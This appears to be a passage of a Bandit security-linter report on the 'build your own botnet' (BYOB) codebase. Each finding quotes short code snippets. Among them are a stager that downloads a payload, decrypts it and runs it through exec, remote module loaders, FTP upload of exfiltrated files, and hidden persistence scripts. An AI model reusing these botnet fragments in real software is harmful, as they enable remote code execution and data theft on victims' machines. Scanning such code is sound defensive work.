361 try: 362 _ = os.popen('attrib -h -r -s {}'.format(target)) if os.name == 'nt' else os.chmod(target, 777) 363 except OSError: pass -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/database.py line 232
- Likely real
- Uncertain, 49% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
231 buid = str(info['public_ip'] + info['mac_address']).encode() 232 info['uid'] = hashlib.md5(buid).hexdigest() 233 info['joined'] = datetime.datetime.now() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/database.py line 278
- Likely real
- Uncertain, 49% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
277 buid = str(task['session'] + task['task'] + datetime.datetime.now().ctime()).encode() 278 task['uid'] = hashlib.md5(buid).hexdigest() 279 task['issued'] = datetime.datetime.now() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dao.py line 110
- Likely real
- Uncertain, 49% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
109 identity = str(session_dict['public_ip'] + session_dict['mac_address'] + session_dict['owner']).encode() 110 session_dict['uid'] = hashlib.md5(identity).hexdigest() 111 session_dict['joined'] = datetime.utcnow() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dao.py line 247
- Likely real
- Uncertain, 49% confidence
Use of weak MD5 hash for security. Consider usedforsecurity=False
246 identity = str(str(task_dict.get('session')) + str(task_dict.get('task')) + datetime.utcnow().__str__()).encode() 247 task_dict['uid'] = hashlib.md5(identity).hexdigest() 248 task_dict['issued'] = datetime.utcnow() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/payloads.py line 198
- Likely real
- Uncertain, 49% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
197 names = [] 198 for line in urlopen(base_url).read().splitlines(): 199 line = str(line) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/loader.py line 109
- Likely real
- Uncertain, 49% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
108 if module_src == None: 109 module_src = urlopen(module_url).read() 110 final_src = module_src -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/icloud.py line 37
- Likely real
- Uncertain, 49% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
36 try: 37 filename, _ = urlretrieve("https://github.com/mas-cli/mas/releases/download/v1.4.2/mas-cli.zip") 38 util.unzip(filename) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/payloads.py line 358
- Likely real
- Uncertain, 49% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
357 try: 358 path, _ = urlretrieve(url, filename) if filename else urlretrieve(url) 359 return path -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/payloads.py line 358
- Likely real
- Uncertain, 49% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
357 try: 358 path, _ = urlretrieve(url, filename) if filename else urlretrieve(url) 359 return path -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/payloads.py line 356
- Likely real
- Uncertain, 49% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
355 try: 356 path, _ = urlretrieve(url, filename) if filename else urlretrieve(url) 357 return path -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/loader.py line 96
- Likely real
- Uncertain, 49% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
95 if package_src == None: 96 package_src = urlopen(package_url).read() 97 final_src = package_src -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 1610
- Likely real
- Uncertain, 49% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
1609 try: 1610 path, _ = urlretrieve(url, filename) if filename else urlretrieve(url) 1611 return path -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 1610
- Likely real
- Uncertain, 49% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
1609 try: 1610 path, _ = urlretrieve(url, filename) if filename else urlretrieve(url) 1611 return path -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 1455
- Likely real
- Uncertain, 49% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
1454 names = [] 1455 for line in urlopen(base_url).read().splitlines(): 1456 line = str(line) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 106
- Likely real
- Uncertain, 49% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
105 if module_src == None: 106 module_src = urlopen(module_url).read() 107 final_src = module_src -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 93
- Likely real
- Uncertain, 49% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
92 if package_src == None: 93 package_src = urlopen(package_url).read() 94 final_src = package_src -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/icloud.py line 37
- Likely real
- Uncertain, 49% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
36 try: 37 filename, _ = urlretrieve("https://github.com/mas-cli/mas/releases/download/v1.4.2/mas-cli.zip") 38 util.unzip(filename) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/loader.py line 107
- Likely real
- Uncertain, 49% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
106 if module_src == None: 107 module_src = urlopen(module_url).read() 108 final_src = module_src -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/payloads.py line 356
- Likely real
- Uncertain, 49% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
355 try: 356 path, _ = urlretrieve(url, filename) if filename else urlretrieve(url) 357 return path -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/payloads.py line 196
- Likely real
- Uncertain, 49% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
195 names = [] 196 for line in urlopen(base_url).read().splitlines(): 197 line = str(line) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/loader.py line 94
- Likely real
- Uncertain, 49% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
93 if package_src == None: 94 package_src = urlopen(package_url).read() 95 final_src = package_src -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/loader.py line 164
- Likely real
- Uncertain, 48% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
163 try: 164 module_compiled = urlopen(url + 'c').read() 165 try: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 161
- Likely real
- Uncertain, 48% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
160 try: 161 module_compiled = urlopen(url + 'c').read() 162 try: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/loader.py line 162
- Likely real
- Uncertain, 48% confidence
Audit url open for permitted schemes. Allowing use of file:/ or custom schemes is often unexpected.
161 try: 162 module_compiled = urlopen(url + 'c').read() 163 try: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/database.py line 242
- Likely real
- Uncertain, 46% confidence
Possible SQL injection vector through string-based query construction.
241 newclient = True 242 self.execute_query("insert into tbl_sessions ({}) values (:{})".format(','.join(info.keys()), ',:'.join(info.keys())), params=info, returns=False, display=False) 243 else: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/payloads.py line 330
- Likely real
- Uncertain, 41% confidence
Use of possibly insecure function - consider using safer ast.literal_eval.
329 try: 330 return eval(code) 331 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/server.py line 469
- Likely real
- Uncertain, 41% confidence
Use of possibly insecure function - consider using safer ast.literal_eval.
468 try: 469 print(eval(code)) 470 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 1585
- Likely real
- Uncertain, 41% confidence
Use of possibly insecure function - consider using safer ast.literal_eval.
1584 try: 1585 return eval(code) 1586 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/payloads.py line 332
- Likely real
- Uncertain, 41% confidence
Use of possibly insecure function - consider using safer ast.literal_eval.
331 try: 332 return eval(code) 333 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/server.py line 193
- Likely real
- Uncertain, 41% confidence
Use of possibly insecure function - consider using safer ast.literal_eval.
192 try: 193 print(eval(code)) 194 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/loader.py line 128
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
127 sys.modules[name] = mod 128 exec(final_src, mod.__dict__) 129 log(level='info', info= "[+] '%s' imported succesfully!" % name) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/payloads.py line 448
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
447 try: 448 exec('import {}'.format(module), target) 449 log('[+] {} remotely imported'.format(module)) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/stagers.py line 55
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
54 payload = decrypt(urlopen(url).read(), base64.b64decode(key)) if key else urlopen(url).read() 55 exec(payload, globals()) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/util.py line 450
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
449 _style = getattr(colorama.Style, style.upper()) 450 exec("""print(_color + _style + output + colorama.Style.RESET_ALL, end="{}")""".format(end)) 451 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 125
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
124 sys.modules[name] = mod 125 exec(final_src, mod.__dict__) 126 log(level='info', info= "[+] '%s' imported succesfully!" % name) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 1698
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
1697 try: 1698 exec('import {}'.format(module), target) 1699 log('[+] {} remotely imported'.format(module)) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/payloads.py line 449
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
448 try: 449 exec('import {}'.format(module), target) 450 log('[+] {} remotely imported'.format(module)) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/stagers.py line 49
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
48 payload = decrypt(urlopen(url).read(), base64.b64decode(key)) if key else urlopen(url).read() 49 exec(payload, globals()) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/loader.py line 126
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
125 sys.modules[name] = mod 126 exec(final_src, mod.__dict__) 127 log(level='info', info= "[+] '%s' imported succesfully!" % name) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/__init__.py line 128
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
127 for module in __all__: 128 exec("import {}".format(module)) 129 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/util.py line 44
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
43 try: 44 exec("import {}".format(src), target) 45 except ImportError: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/util.py line 44
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
43 try: 44 exec("import {}".format(src), target) 45 except ImportError: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 309
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
308 try: 309 exec("import {}".format(src), target) 310 except ImportError: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/server.py line 174
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
173 print(code) 174 exec(code) 175 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/util.py line 41
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
40 try: 41 exec("import {}".format(src), target) 42 except ImportError: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/util.py line 44
- Likely real
- Uncertain, 40% confidence
Use of exec detected.
43 try: 44 exec("import {}".format(src), target) 45 except ImportError: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/handler.py line 57
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
56 def run(server_class=HTTPServer, handler_class=Handler, port=80): 57 httpd = server_class(('0.0.0.0', port), handler_class) 58 httpd.serve_forever() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/server.py line 76
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
75 type=str, 76 default='0.0.0.0', 77 help='server hostname or IP address') -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/server.py line 160
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
159 160 def __init__(self, host='0.0.0.0', port=1337, db=':memory:'): 161 """ -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/server.py line 380
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
379 s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 380 s.bind(('0.0.0.0', port)) 381 s.listen(100) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/handler.py line 76
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
75 def run(server_class=HTTPServer, handler_class=Handler, port=80): 76 httpd = server_class(('0.0.0.0', port), handler_class) 77 httpd.serve_forever() -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/server.py line 50
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
49 50 def __init__(self, host='0.0.0.0', port=1337, debug=False): 51 """ -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/server.py line 123
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
122 s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 123 s.bind(('0.0.0.0', port)) 124 s.listen(128) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/run.py line 5
- Likely real
- Uncertain, 37% confidence
Possible binding to all interfaces.
4 app = create_app(test=False) 5 app.run(host='0.0.0.0', port=5000) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/util.py line 552
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
551 if 'tmp' not in ftp.nlst(): 552 ftp.mkd('/tmp') 553 if addr not in ftp.nlst('/tmp'): -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 824
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
823 filetype = '.' + str(filetype) if not str(filetype).startswith('.') else str(filetype) 824 path = '/tmp/{}/{}'.format(addr, '{}-{}_{}{}'.format(local[1], local[2], local[3], filetype)) 825 stor = ftp.storbinary('STOR ' + path, source) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/util.py line 556
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
555 filetype = '.' + str(filetype) if not str(filetype).startswith('.') else str(filetype) 556 path = '/tmp/{}/{}'.format(addr, '{}-{}_{}{}'.format(local[1], local[2], local[3], filetype)) 557 stor = ftp.storbinary('STOR ' + path, source) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/util.py line 553
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
552 if path: 553 path = '/tmp/{}/{}'.format(addr, os.path.basename(path)) 554 else: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/util.py line 551
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
550 if addr not in ftp.nlst('/tmp'): 551 ftp.mkd('/tmp/{}'.format(addr)) 552 if path: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/util.py line 550
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
549 ftp.mkd('/tmp') 550 if addr not in ftp.nlst('/tmp'): 551 ftp.mkd('/tmp/{}'.format(addr)) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/util.py line 549
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
548 if 'tmp' not in ftp.nlst(): 549 ftp.mkd('/tmp') 550 if addr not in ftp.nlst('/tmp'): -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/persistence.py line 164
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
163 os.makedirs('/var/tmp') 164 fpath = '/var/tmp/.{}.sh'.format(name) 165 bash = template_plist.substitute(LABEL=label, FILE=value) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/persistence.py line 163
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
162 if not os.path.exists('/var/tmp'): 163 os.makedirs('/var/tmp') 164 fpath = '/var/tmp/.{}.sh'.format(name) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/persistence.py line 162
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
161 label = name 162 if not os.path.exists('/var/tmp'): 163 os.makedirs('/var/tmp') -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/util.py line 559
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
558 filetype = '.' + str(filetype) if not str(filetype).startswith('.') else str(filetype) 559 path = '/tmp/{}/{}'.format(addr, '{}-{}_{}{}'.format(local[1], local[2], local[3], filetype)) 560 stor = ftp.storbinary('STOR ' + path, source) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/util.py line 556
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
555 if path: 556 path = '/tmp/{}/{}'.format(addr, os.path.basename(path)) 557 else: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/util.py line 554
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
553 if addr not in ftp.nlst('/tmp'): 554 ftp.mkd('/tmp/{}'.format(addr)) 555 if path: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/util.py line 553
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
552 ftp.mkd('/tmp') 553 if addr not in ftp.nlst('/tmp'): 554 ftp.mkd('/tmp/{}'.format(addr)) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/util.py line 551
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
550 if 'tmp' not in ftp.nlst(): 551 ftp.mkd('/tmp') 552 if addr not in ftp.nlst('/tmp'): -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 821
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
820 if path: 821 path = '/tmp/{}/{}'.format(addr, os.path.basename(path)) 822 else: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 819
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
818 if addr not in ftp.nlst('/tmp'): 819 ftp.mkd('/tmp/{}'.format(addr)) 820 if path: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 818
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
817 ftp.mkd('/tmp') 818 if addr not in ftp.nlst('/tmp'): 819 ftp.mkd('/tmp/{}'.format(addr)) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 817
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
816 if 'tmp' not in ftp.nlst(): 817 ftp.mkd('/tmp') 818 if addr not in ftp.nlst('/tmp'): -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/util.py line 559
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
558 filetype = '.' + str(filetype) if not str(filetype).startswith('.') else str(filetype) 559 path = '/tmp/{}/{}'.format(addr, '{}-{}_{}{}'.format(local[1], local[2], local[3], filetype)) 560 stor = ftp.storbinary('STOR ' + path, source) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/util.py line 556
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
555 if path: 556 path = '/tmp/{}/{}'.format(addr, os.path.basename(path)) 557 else: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/util.py line 554
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
553 if addr not in ftp.nlst('/tmp'): 554 ftp.mkd('/tmp/{}'.format(addr)) 555 if path: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/util.py line 553
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
552 ftp.mkd('/tmp') 553 if addr not in ftp.nlst('/tmp'): 554 ftp.mkd('/tmp/{}'.format(addr)) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/util.py line 552
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
551 if 'tmp' not in ftp.nlst(): 552 ftp.mkd('/tmp') 553 if addr not in ftp.nlst('/tmp'): -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/persistence.py line 162
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
161 os.makedirs('/var/tmp') 162 fpath = '/var/tmp/.{}.sh'.format(name) 163 bash = template_plist.substitute(LABEL=label, FILE=value) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/persistence.py line 161
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
160 if not os.path.exists('/var/tmp'): 161 os.makedirs('/var/tmp') 162 fpath = '/var/tmp/.{}.sh'.format(name) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/persistence.py line 160
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
159 label = name 160 if not os.path.exists('/var/tmp'): 161 os.makedirs('/var/tmp') -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/util.py line 552
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
551 ftp.mkd('/tmp') 552 if addr not in ftp.nlst('/tmp'): 553 ftp.mkd('/tmp/{}'.format(addr)) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/util.py line 553
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
552 if addr not in ftp.nlst('/tmp'): 553 ftp.mkd('/tmp/{}'.format(addr)) 554 if path: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/util.py line 555
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
554 if path: 555 path = '/tmp/{}/{}'.format(addr, os.path.basename(path)) 556 else: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/util.py line 558
- Likely real
- Probably noise, 25% confidence
Probable insecure usage of temp file/directory.
557 filetype = '.' + str(filetype) if not str(filetype).startswith('.') else str(filetype) 558 path = '/tmp/{}/{}'.format(addr, '{}-{}_{}{}'.format(local[1], local[2], local[3], filetype)) 559 stor = ftp.storbinary('STOR ' + path, source) -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 489
- Likely real
- Probably noise, 22% confidence
Call to requests without timeout
488 import requests 489 req = requests.post(url, headers=headers, data=data, json=json) 490 output = req.content -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/modules/util.py line 224
- Likely real
- Probably noise, 22% confidence
Call to requests without timeout
223 import requests 224 req = requests.post(url, headers=headers, data=data, json=json) 225 output = req.content -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/util.py line 224
- Likely real
- Probably noise, 22% confidence
Call to requests without timeout
223 import requests 224 req = requests.post(url, headers=headers, data=data, json=json) 225 output = req.content -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/util.py line 224
- Likely real
- Probably noise, 22% confidence
Call to requests without timeout
223 import requests 224 req = requests.post(url, headers=headers, data=data, json=json) 225 output = req.content -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/modules/util.py line 221
- Likely real
- Probably noise, 22% confidence
Call to requests without timeout
220 import requests 221 req = requests.post(url, headers=headers, data=data, json=json) 222 output = req.content -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/handler.py line 68
- Likely real
- Probably noise, 22% confidence
Call to requests without timeout
67 # add exfiltrated file to database via internal API call 68 requests.post("http://0.0.0.0/api/file/add", {"filename": filename, "owner": owner, "module": module, "session": session}) 69 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/config.py line 10
- Likely real
- Yes, 95% confidence
Possible hardcoded password: 'helloworld'
9 DEBUG = True 10 SECRET_KEY = 'helloworld' 11 SQLALCHEMY_DATABASE_URI = 'sqlite:///test.db' -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/core/payloads.py line 599
- Likely real
- Uncertain, 36% confidence
Starting a process without a shell.
598 time.sleep(3) 599 os.execl(sys.executable, 'python', os.path.abspath(sys.argv[0]), *sys.argv[1:]) 600 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /byob/setup.py line 78
- Likely real
- Uncertain, 36% confidence
Starting a process without a shell.
77 # and not the called version of python in the original runtime. 78 os.execv(sys.executable, ['python'] + [os.path.abspath(sys.argv[0])] + sys.argv[1:]) 79 -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/dummy_payload_for_testing.py line 1848
- Likely real
- Uncertain, 36% confidence
Starting a process without a shell.
1847 time.sleep(3) 1848 os.execl(sys.executable, 'python', os.path.abspath(sys.argv[0]), *sys.argv[1:]) 1849 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/payloads.py line 603
- Likely real
- Uncertain, 36% confidence
Starting a process without a shell.
602 time.sleep(3) 603 os.execl(sys.executable, 'python', os.path.abspath(sys.argv[0]), *sys.argv[1:]) 604 except Exception as e: -
- Engine
- Bandit · Python security linter
- Counts towards
- Vulnerability
- File
- /web-gui/buildyourownbotnet/core/util.py line 419
- Likely real
- Uncertain, 35% confidence
Starting a process with a shell: Seems safe, but may be changed in the future, consider rewriting without shell
